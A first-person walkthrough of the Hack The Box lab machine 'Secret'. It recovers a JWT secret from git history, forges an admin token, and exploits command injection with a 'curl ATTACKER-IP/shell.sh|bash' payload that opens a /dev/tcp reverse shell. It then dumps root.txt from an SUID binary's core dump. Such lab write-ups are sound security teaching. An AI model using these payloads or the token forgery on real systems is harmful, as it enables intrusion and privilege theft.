Secret is an easy difficulty Linux machine from Hack The Box. It involves using a leaked secret to forge a JSON web token. The token is then used to exploit a command injection vulnerability present in a vulnerable API endpoint. The root flag is obtained by reading the contents of file descriptors present in the core dump of an SUID binary.
Enumeration
Let the recon begin.
Nmap
Every box begins with an nmap scan:
sudo nmap -sCV TARGET-IP
nmap showed the following results:
Nmap scan report for TARGET-IP
Host is up, received syn-ack (0.25s latency).
Not shown: 997 closed tcp ports (conn-refused)
PORT STATE SERVICE REASON VERSION
22/tcp open ssh syn-ack OpenSSH 8.2p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 97:af:61:44:10:89:b9:53:f0:80:3f:d7:19:b1:e2:9c (RSA)
| 256 95:ed:65:8d:cd:08:2b:55:dd:17:51:31:1e:3e:18:12 (ECDSA)
|_ 256 33:7b:c1:71:d3:33:0f:92:4e:83:5a:1f:52:02:93:5e (ED25519)
80/tcp open http syn-ack nginx 1.18.0 (Ubuntu)
|_http-server-header: nginx/1.18.0 (Ubuntu)
|_http-title: DUMB Docs
3000/tcp open http syn-ack Node.js (Express middleware)
|_http-title: DUMB Docs
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 49.32 seconds
I could see that there were 3 ports open:
| Port | Service | Remarks |
|---|---|---|
| 22 | SSH | Remote login |
| 80 | HTTP | Web server |
| 3000 | Node.JS | ??? |
Web Server
I usually like to check out the web server of a box first. The site hosted appeared to be documentation for an API. However, the author didn’t appear to be the most helpful…

After looking around some more, I found that the site contained a button to download the source code of the application that was being documented:

Source Code
There were quite a few files contained within the downloaded file:
drwxrwxr-x 8 webbed webbed 4096 Apr 7 14:19 .
drwxr-xr-x 6 webbed webbed 4096 Apr 7 14:18 ..
-rw-rw-r-- 1 webbed webbed 72 Sep 3 2021 .env
drwxrwxr-x 8 webbed webbed 4096 Sep 9 2021 .git
-rw-rw-r-- 1 webbed webbed 885 Sep 3 2021 index.js
drwxrwxr-x 2 webbed webbed 4096 Apr 7 14:21 model
drwxrwxr-x 201 webbed webbed 4096 Aug 13 2021 node_modules
-rw-rw-r-- 1 webbed webbed 69452 Aug 13 2021 package-lock.json
-rw-rw-r-- 1 webbed webbed 491 Aug 13 2021 package.json
drwxrwxr-x 4 webbed webbed 4096 Sep 3 2021 public
drwxrwxr-x 2 webbed webbed 4096 Apr 7 14:20 routes
drwxrwxr-x 4 webbed webbed 4096 Aug 13 2021 src
-rw-rw-r-- 1 webbed webbed 651 Aug 13 2021 validations.js
One thing that I noticed was the presence of a .git folder, telling me that I was inside a Git repository. This meant that I could run git log to view the previous commits that were made to the repo:
commit e297a2797a5f62b6011654cf6fb6ccb6712d2d5b (HEAD -> master)
Author: dasithsv <[email protected]>
Date: Thu Sep 9 00:03:27 2021 +0530
now we can view logs from server 😃
commit 67d8da7a0e53d8fadeb6b36396d86cdcd4f6ec78
Author: dasithsv <[email protected]>
Date: Fri Sep 3 11:30:17 2021 +0530
removed .env for security reasons
commit de0a46b5107a2f4d26e348303e76d85ae4870934
Author: dasithsv <[email protected]>
Date: Fri Sep 3 11:29:19 2021 +0530
added /downloads
commit 4e5547295cfe456d8ca7005cb823e1101fd1f9cb
Author: dasithsv <[email protected]>
Date: Fri Sep 3 11:27:35 2021 +0530
removed swap
commit 3a367e735ee76569664bf7754eaaade7c735d702
Author: dasithsv <[email protected]>
Date: Fri Sep 3 11:26:39 2021 +0530
added downloads
commit 55fe756a29268f9b4e786ae468952ca4a8df1bd8
Author: dasithsv <[email protected]>
Date: Fri Sep 3 11:25:52 2021 +0530
first commit
Leaked Secrets
The commit with the message removed .env for security reasons certainly looked interesting. Storing secrets in a Git repository is never a good idea. To grab the content of the .env file, I ran git show to get the content of the commit before the one that removed .env:
git show de0a46b5107a2f4d26e348303e76d85ae4870934
This revealed the secret token that was previously stored in .env:
DB_CONNECT = 'mongodb://127.0.0.1:27017/auth-web'
TOKEN_SECRET = gXr67TtoQL8TShUc8XYsK2HvsBYfyQSFCFZe4MQp7gRpFuMkKjcM72CNQN4fMfbZEKx4i7YiWuNAkmuTcdEriCMm9vPAYkhpwPTiuVwVhvwE
Command Injection
Browsing the git logs further revealed another interesting commit:
now we can view logs from server 😃
The contents of this commit showed an interesting endpoint: /logs:
commit e297a2797a5f62b6011654cf6fb6ccb6712d2d5b (HEAD -> master)
Author: dasithsv <[email protected]>
Date: Thu Sep 9 00:03:27 2021 +0530
now we can view logs from server 😃
diff --git a/routes/private.js b/routes/private.js
index 1347e8c..cf6bf21 100644
--- a/routes/private.js
+++ b/routes/private.js
@@ -11,10 +11,10 @@ router.get('/priv', verifytoken, (req, res) => {
if (name == 'theadmin'){
res.json({
- role:{
-
- role:"you are admin",
- desc : "{flag will be here}"
+ creds:{
+ role:"admin",
+ username:"theadmin",
+ desc : "welcome back admin,"
}
})
}
@@ -26,7 +26,32 @@ router.get('/priv', verifytoken, (req, res) => {
}
})
}
+})
+
+router.get('/logs', verifytoken, (req, res) => {
+ const file = req.query.file;
+ const userinfo = { name: req.user }
+ const name = userinfo.name.name;
+
+ if (name == 'theadmin'){
+ const getLogs = `git log --oneline ${file}`;
+ exec(getLogs, (err , output) =>{
+ if(err){
+ res.status(500).send(err);
+ return
+ }
+ res.json(output);
+ })
+ }
+ else{
+ res.json({
+ role: {
+ role: "you are normal user",
+ desc: userinfo.name.name
+ }
+ })
+ }
})
The /logs endpoint accepted a file name directly from the incoming request. If the right token was included, it would place the supplied filename into a git log command that was then executed on the server using the exec function:
const getLogs = `git log --oneline ${file}`;
The fact that there was not any kind of validation or sanitisation performed on the input meant that there was a command injection vulnerability present in the /logs endpoint.
Token Forging
The /logs endpoint was protected by the following check:
if (name == 'theadmin')
The name came from a JWT (JSON Web Token) that was included in an auth-token header on the incoming request. This was verified by the verifytoken function before the code defined in the /logs route was executed:
router.get('/logs', verifytoken, (req, res) => ...
The verifytoken function would use the jwt.verify function to check that the token being verified was signed by the secret defined in the .env file (the same secret that was leaked earlier):
const verified = jwt.verify(token, process.env.TOKEN_SECRET);
During normal usage of this API, a user would provide their credentials to the /login endpoint. Assuming valid credentials were supplied, the file auth.js would create a JWT that the user would then include in future requests:
// create jwt
const token = jwt.sign({ _id: user.id, name: user.name , email: user.email}, process.env.TOKEN_SECRET )
res.header('auth-token', token).send(token);
Knowing that this was how the tokens were bring created, and that only the user with the name theadmin could call /logs, I created the following JavaScript snippet to forge my own token with the leaked secret:
1const jwt = require('jsonwebtoken');
2
3var userObj = {"_id":"admin","name":"theadmin","email":"[email protected]"};
4var secret = 'gXr67TtoQL8TShUc8XYsK2HvsBYfyQSFCFZe4MQp7gRpFuMkKjcM72CNQN4fMfbZEKx4i7YiWuNAkmuTcdEriCMm9vPAYkhpwPTiuVwVhvwE';
5
6console.log(jwt.sign(userObj,secret));
Foothold
With a valid JWT, it was then possible to call the /logs endpoint and exploit the command injection vulnerability. The user controlled input is placed at the end of a git log command:
const getLogs = `git log --oneline ${file}`;
To execute extra commands, the following payload was used to terminate the existing command, and then append an extra command:
;curl+ATTACKER-IP/shell.sh|bash
This turned the git log command into the following expression:
git log --oneline ;curl ATTACKER-IP/shell.sh|bash
The initial git log would fail, since the expected filename input was missing. The ; terminated the preceding command, and command following it was then executed on the server:
curl ATTACKER-IP/shell.sh|bash
This sent an HTTP to the attacking machine, requesting a reverse shell script named shell.sh that had the following content:
bash -i >& /dev/tcp/ATTACKER-IP/PORT 0>&1
After receiving the shell script, this was then passed to bash with a pipe (|), resulting in remote code execution. The final request looked like this:
GET /api/logs?file=;curl+ATTACKER-IP/shell.sh|bash HTTP/1.1
Host: secret.htb:3000
User-Agent: Mozilla/5.0 (X11; Linux aarch64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Connection: close
Upgrade-Insecure-Requests: 1
If-None-Match: W/"5d-ArPF0JBxjtRzy3wpSVF4hSVtK4s"
Content-Length: 0
auth-token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJfaWQiOiJhZG1pbiIsIm5hbWUiOiJ0aGVhZG1pbiIsImVtYWlsIjoiYWRtaW5AdGVzdC5jb20iLCJpYXQiOjE3MTI0NTk2OTh9.rMJKJBBSaQCxolDxyLtSoMcimO1YEX38N26eARhw8TQ
Post Exploitation
After sending the malicious request and gaining a foothold on the box, I performed my usual checks for privilege escalation vectors. This included searching for programs that had the SUID bit set.
find / -perm /4000 2>/dev/null
SUID (Set User ID) allows for low privileged users to run programs with the permissions of the owner of the program. Programs that are owned by root and have SUID set will always be run as root, no matter who starts the program. I’m sure you can see how this could be abused.
/opt/count
Searching for SUID binaries showed an interesting result inside the /opt directory, revealing a binary named count. The source code for the binary was also located inside /opt:
1#include <stdio.h>
2#include <stdlib.h>
3#include <unistd.h>
4#include <string.h>
5#include <dirent.h>
6#include <sys/prctl.h>
7#include <sys/types.h>
8#include <sys/stat.h>
9#include <linux/limits.h>
10
11void dircount(const char *path, char *summary)
12{
13 DIR *dir;
14 char fullpath[PATH_MAX];
15 struct dirent *ent;
16 struct stat fstat;
17
18 int tot = 0, regular_files = 0, directories = 0, symlinks = 0;
19
20 if((dir = opendir(path)) == NULL)
21 {
22 printf("\nUnable to open directory.\n");
23 exit(EXIT_FAILURE);
24 }
25 while ((ent = readdir(dir)) != NULL)
26 {
27 ++tot;
28 strncpy(fullpath, path, PATH_MAX-NAME_MAX-1);
29 strcat(fullpath, "/");
30 strncat(fullpath, ent->d_name, strlen(ent->d_name));
31 if (!lstat(fullpath, &fstat))
32 {
33 if(S_ISDIR(fstat.st_mode))
34 {
35 printf("d");
36 ++directories;
37 }
38 else if(S_ISLNK(fstat.st_mode))
39 {
40 printf("l");
41 ++symlinks;
42 }
43 else if(S_ISREG(fstat.st_mode))
44 {
45 printf("-");
46 ++regular_files;
47 }
48 else printf("?");
49 printf((fstat.st_mode & S_IRUSR) ? "r" : "-");
50 printf((fstat.st_mode & S_IWUSR) ? "w" : "-");
51 printf((fstat.st_mode & S_IXUSR) ? "x" : "-");
52 printf((fstat.st_mode & S_IRGRP) ? "r" : "-");
53 printf((fstat.st_mode & S_IWGRP) ? "w" : "-");
54 printf((fstat.st_mode & S_IXGRP) ? "x" : "-");
55 printf((fstat.st_mode & S_IROTH) ? "r" : "-");
56 printf((fstat.st_mode & S_IWOTH) ? "w" : "-");
57 printf((fstat.st_mode & S_IXOTH) ? "x" : "-");
58 }
59 else
60 {
61 printf("??????????");
62 }
63 printf ("\t%s\n", ent->d_name);
64 }
65 closedir(dir);
66
67 snprintf(summary, 4096, "Total entries = %d\nRegular files = %d\nDirectories = %d\nSymbolic links = %d\n", tot, regular_files, directories, symlinks);
68 printf("\n%s", summary);
69}
70
71
72void filecount(const char *path, char *summary)
73{
74 FILE *file;
75 char ch;
76 int characters, words, lines;
77
78 file = fopen(path, "r");
79
80 if (file == NULL)
81 {
82 printf("\nUnable to open file.\n");
83 printf("Please check if file exists and you have read privilege.\n");
84 exit(EXIT_FAILURE);
85 }
86
87 characters = words = lines = 0;
88 while ((ch = fgetc(file)) != EOF)
89 {
90 characters++;
91 if (ch == '\n' || ch == '\0')
92 lines++;
93 if (ch == ' ' || ch == '\t' || ch == '\n' || ch == '\0')
94 words++;
95 }
96
97 if (characters > 0)
98 {
99 words++;
100 lines++;
101 }
102
103 snprintf(summary, 256, "Total characters = %d\nTotal words = %d\nTotal lines = %d\n", characters, words, lines);
104 printf("\n%s", summary);
105}
106
107
108int main()
109{
110 char path[100];
111 int res;
112 struct stat path_s;
113 char summary[4096];
114
115 printf("Enter source file/directory name: ");
116 scanf("%99s", path);
117 getchar();
118 stat(path, &path_s);
119 if(S_ISDIR(path_s.st_mode))
120 dircount(path, summary);
121 else
122 filecount(path, summary);
123
124 // drop privs to limit file write
125 setuid(getuid());
126 // Enable coredump generation
127 prctl(PR_SET_DUMPABLE, 1);
128 printf("Save results a file? [y/N]: ");
129 res = getchar();
130 if (res == 121 || res == 89) {
131 printf("Path: ");
132 scanf("%99s", path);
133 FILE *fp = fopen(path, "a");
134 if (fp != NULL) {
135 fputs(summary, fp);
136 fclose(fp);
137 } else {
138 printf("Could not open %s for writing\n", path);
139 }
140 }
141
142 return 0;
143}
The binary accepted a file or directory name as input, and then proceeded to count the number of characters in the supplied file, or the number of files present in the supplied directory.
./count
Enter source file/directory name: /root/root.txt
Total characters = 33
Total words = 2
Total lines = 2
Because the binary had SUID set and was owned by root, this meant that the binary was opening up files as root, meaning that it was able to read any file on the system.
Signals
The source code contained an interesting line:
126// Enable coredump generation
127prctl(PR_SET_DUMPABLE, 1);
This line declared that it was possible for the binary to produce a core dump if it happened to crash while it was running. A core dump is a summary of what the program was doing right before it crashed. It is generated by the OS kernel, and contains things like register values, the call stack, and the memory of the program. The prctl manual page has the following definition for PR_SET_DUMPABLE:
PR_SET_DUMPABLE (since Linux 2.3.20)
Set the state of the "dumpable" attribute, which
determines whether core dumps are produced for the calling
process upon delivery of a signal whose default behavior
is to produce a core dump.
Signals are sent to processes when events happen. A common signal is SIGINT; the interrupt signal. This gets sent to a process when you press CTRL+C to interrupt the execution of a process. This signal doesn’t produce a core dump though, as it is simply the user interrupting execution. A signal that does create a core dump is SIGSEGV; a segmentation fault.
A segmentation fault occurs when a program attempts to access memory that is outside its allocated block of memory. When this happens, the program crashes, and a core dump is created.
It is possible to send a signal to a program while it is still running using the kill command. First, the PID (Process ID) of the target program must be gathered:
ps aux | grep PROGRAM-NAME
Passing this PID along with the desired signal to the kill command will send the specified signal to the process.
Root
To leak root.txt, I first started the program and passed it the file path /root/root.txt. It then prompted me to ask if I wanted to save the results as a file, which kept the process alive:
./count
Enter source file/directory name: /root/root.txt
Total characters = 33
Total words = 2
Total lines = 2
Save results a file? [y/N]:
I then deliberately crashed the count program to create a core dump. I achieved this by using a different terminal connected to the target, and running the kill command to send the SIGSEGV signal to the running process:
kill -SIGSEGV PID
This created a crash file that I was then able to unpack and parse using apport-unpack:
apport-unpack CRASH_FILE /PATH/TO/OUTPUT/DIRECTORY
This created a few files in the output directory:
dasith@secret:~/crashout$ ls
Architecture
Date
ExecutablePath
_LogindSession
ProcCmdline
ProcEnviron
ProcStatus
Uname
CoreDump
DistroRelease
ExecutableTimestamp
ProblemType
ProcCwd
ProcMaps
Signal
UserGroups
Because the binary was handling the root.txt file at the time of it crashing, the content of root.txt was included in the CoreDump file. Running the strings command on CoreDump revealed the root flag.
strings CoreDump
Comments
Nothing yet. Say the first thing.
Sign in to join the conversation.